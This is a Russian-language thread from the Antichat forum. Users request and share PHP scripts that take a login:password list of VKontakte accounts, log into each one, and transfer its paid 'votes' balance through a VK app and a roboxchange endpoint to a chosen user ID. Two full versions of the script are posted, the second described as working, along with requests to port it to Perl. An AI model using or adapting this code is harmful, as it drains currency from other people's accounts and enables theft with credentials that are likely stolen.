Форум АНТИЧАТ - Кто может написать скрипт для передачи голосов через приложение ВК

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Социальные сети (https://forum.antichat.xyz/forumdisplay.php?f=133)

Кто может написать скрипт для передачи голосов через приложение ВК

Помогите, думаю многим пригодится такой скрипт.
Нужно что б он передавал голоса через приложение http://vkontakte.ru/app577176 на определенный id, и работал со списком логин:пасс. Заранее СПС.

+1 очень нужная штука..

согласен :) оч крутой скрипт будет :) нужный :)

вот скрипт но он крива работает

PHP код:


		
			
<?php

set_time_limit(0);

$to = "1"; // kuda perevesti 



function curl($url,$post) 

{ 

//echo "$url | $post <br>\n";

    $cfile = 'cookies.txt'; 

    $ch = curl_init(); 

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

    curl_setopt($ch, CURLOPT_URL, $url); 

    curl_setopt($ch, CURLOPT_HEADER, 1); 

    curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 

    curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);  

    curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);  

    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 

    curl_setopt($ch, CURLOPT_POST, 1); 

    $result = curl_exec($ch); 

    curl_close($ch);  

    return $result; 

     

}; 



function transfer_vote($email,$pass,$to){

$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); 

$result = curl("http://vkontakte.ru/app577176","");

preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);

preg_match("/balance = (.*?);/i", $result, $vote);

preg_match("/join(.*?)'>/i", $result, $appsl);

preg_match("/app_id = (.*?);/i", $result, $app_id);

preg_match("/app_hash = '(.*?)';/i", $result, $app_hash);

preg_match("/app_hash: '(.*?)',/i", $result, $app_hashh);

$result = curl("http://vkontakte.ru/apps.php?act=join&".$appsl['1'],""); 

$result = curl("http://vkontakte.ru/apps.php?act=a_settings".$appsl['1'],"app_id=".$app_id['1']."&app_hash=".$app_hashh['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");

$result = curl("http://misc.roboxchange.com/External/VKontakte/TransferVotes/Transfer.aspx?idFrom=".$user_id['1']."&idTo=".$to,"");

preg_match("/__VIEWSTATE\" value=\"(.*?)\" \/>/i", $result, $__VIEWSTATE);

preg_match("/__EVENTVALIDATION\" value=\"(.*?)\" \/>/i", $result, $__EVENTVALIDATION);

$result = curl("http://misc.roboxchange.com/External/VKontakte/TransferVotes/Transfer.aspx?idFrom=".$user_id['1']."&idTo=".$to,"__VIEWSTATE=".urlencode($__VIEWSTATE['1'])."&__EVENTVALIDATION=%2FwEWAgKkgLGFCQKSotaICw5O3NZ4fg%2BPn6JIHO469gKHlZqS&btn1=%D0%9F%D1%80%D0%BE%D0%B4%D0%BE%D0%BB%D0%B6%D0%B8%D1%82%D1%8C");

preg_match("/<br><br>(.*?)<br><br>/i", $result, $res);

return $res['1'];

}





$aks = file("votes.txt");

foreach($aks as $k => $v){

$ak = explode(":", trim($v));

echo transfer_vote($ak['0'],$ak['1'],$to)."<br>";

}

?>

waweb а что в нем кривого ?

то что уже не работает =\

А на перле можно написать?

Цитата:

Сообщение от _Spamer_

А на перле можно написать?

Можно =)

вот рабочий с вас плюсег ;)

PHP код:


		
			
<?php

set_time_limit(0);

$to = "1"; // vote to id



function curl($url,$post) 

{ 

//echo "$url | $post <br>\n";

    $cfile = 'cookies.txt'; 

    $ch = curl_init(); 

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

    curl_setopt($ch, CURLOPT_URL, $url); 

    curl_setopt($ch, CURLOPT_HEADER, 0); 

    curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 

    curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);  

    curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);  

    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 

    curl_setopt($ch, CURLOPT_POST, 1); 

    $result = curl_exec($ch); 

    curl_close($ch);  

    return $result; 

     

}; 



function transfer_vote($email,$pass,$to){

$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); 

$result = curl("http://vkontakte.ru/app577176","");

preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);

preg_match("/balance = (.*?);/i", $result, $vote);

preg_match("/join(.*?)'>/i", $result, $appsl);

preg_match("/app_id = (.*?);/i", $result, $app_id);

preg_match("/app_hash = '(.*?)';/i", $result, $app_hash);

preg_match("/app_hash: '(.*?)',/i", $result, $app_hashh);

preg_match("/auth_key\", \"(.*?)\"/i", $result, $auth_key);

$result = curl("http://vkontakte.ru/apps.php?act=join&id=577176&hash=".$app_hashh['1'],"");

echo "#add:".$vote['1']." vote...<br>";

    flush(); 

    @ob_flush();

$result = curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=577176&app_hash=".$app_hashh['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");

$result = curl("http://misc.roboxchange.com/External/VKontakte/API.ashx?authKey=".$auth_key['1']."&APImethod=transferVotes&fromId=".$user_id['1']."&Id=".$to,"");

return $result;

}

echo "<hr color = 'orange'><center><font color = 'red+blue'><b>FAKE v2.0 Betta</b><hr width = '10%'><font color = 'white'><b>WaWeb</b></font> & <font color = 'orange+white'><b>Greshnick</b></font> <br> <font color = 'white'><b>525481</b></font> &  <font color = 'orange+white'><b>444 567 473</b></font><br> </center>";

$aks = file("votes.txt"); // AC file, login:pass

foreach($aks as $k => $v){

$ak = explode(":", trim($v));

echo "#login.:".$ak['0']."pass.:".$ak['1']."<br>";

$vote_res = transfer_vote($ak['0'],$ak['1'],$to);

if($vote_res >= "0"){

echo "#ok...<br>";

}else{

echo "#error...<br>";

}

echo "------------------------------------------<br>";

    flush(); 

    @ob_flush();

}

?>

Перепишите плиз на перл с меня +10)